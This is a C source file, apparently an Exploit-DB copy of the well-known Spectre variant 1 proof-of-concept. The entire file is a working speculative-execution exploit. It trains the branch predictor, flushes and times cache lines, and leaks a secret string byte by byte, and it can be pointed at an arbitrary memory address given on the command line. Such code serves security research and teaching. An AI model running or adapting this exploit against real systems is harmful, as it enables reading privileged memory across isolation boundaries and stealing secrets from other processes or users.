131 lines
No EOL
4.7 KiB
C
131 lines
No EOL
4.7 KiB
C
/*
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EDB Note:
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- https://spectreattack.com/
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- https://spectreattack.com/spectre.pdf
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- https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#ifdef _MSC_VER
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#include <intrin.h> /* for rdtscp and clflush */
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#pragma optimize("gt",on)
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#else
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#include <x86intrin.h> /* for rdtscp and clflush */
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#endif
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/********************************************************************
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Victim code.
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********************************************************************/
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unsigned int array1_size = 16;
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uint8_t unused1[64];
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uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
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uint8_t unused2[64];
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uint8_t array2[256 * 512];
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char *secret = "The Magic Words are Squeamish Ossifrage.";
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uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
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void victim_function(size_t x) {
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if (x < array1_size) {
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temp &= array2[array1[x] * 512];
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}
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}
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/********************************************************************
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Analysis code
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********************************************************************/
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#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
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/* Report best guess in value[0] and runner-up in value[1] */
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void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
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static int results[256];
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int tries, i, j, k, mix_i, junk = 0;
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size_t training_x, x;
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register uint64_t time1, time2;
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volatile uint8_t *addr;
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for (i = 0; i < 256; i++)
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results[i] = 0;
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for (tries = 999; tries > 0; tries--) {
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/* Flush array2[256*(0..255)] from cache */
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for (i = 0; i < 256; i++)
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_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
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/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
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training_x = tries % array1_size;
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for (j = 29; j >= 0; j--) {
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_mm_clflush(&array1_size);
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for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
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/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
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/* Avoid jumps in case those tip off the branch predictor */
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x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
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x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
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x = training_x ^ (x & (malicious_x ^ training_x));
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/* Call the victim! */
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victim_function(x);
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}
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/* Time reads. Order is lightly mixed up to prevent stride prediction */
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for (i = 0; i < 256; i++) {
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mix_i = ((i * 167) + 13) & 255;
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addr = &array2[mix_i * 512];
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time1 = __rdtscp(&junk); /* READ TIMER */
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junk = *addr; /* MEMORY ACCESS TO TIME */
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time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
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if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
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results[mix_i]++; /* cache hit - add +1 to score for this value */
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}
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/* Locate highest & second-highest results results tallies in j/k */
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j = k = -1;
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for (i = 0; i < 256; i++) {
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if (j < 0 || results[i] >= results[j]) {
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k = j;
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j = i;
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} else if (k < 0 || results[i] >= results[k]) {
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k = i;
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}
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}
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if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
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break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
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}
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results[0] ^= junk; /* use junk so code above won’t get optimized out*/
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value[0] = (uint8_t)j;
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score[0] = results[j];
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value[1] = (uint8_t)k;
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score[1] = results[k];
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}
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int main(int argc, const char **argv) {
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size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
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int i, score[2], len=40;
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uint8_t value[2];
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for (i = 0; i < sizeof(array2); i++)
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array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
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if (argc == 3) {
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sscanf(argv[1], "%p", (void**)(&malicious_x));
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malicious_x -= (size_t)array1; /* Convert input value into a pointer */
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sscanf(argv[2], "%d", &len);
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}
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printf("Reading %d bytes:\n", len);
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while (--len >= 0) {
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printf("Reading at malicious_x = %p... ", (void*)malicious_x);
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readMemoryByte(malicious_x++, value, score);
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printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
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printf("0x%02X=’%c’ score=%d ", value[0],
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(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
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if (score[1] > 0)
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printf("(second best: 0x%02X score=%d)", value[1], score[1]);
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printf("\n");
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}
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return (0);
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} |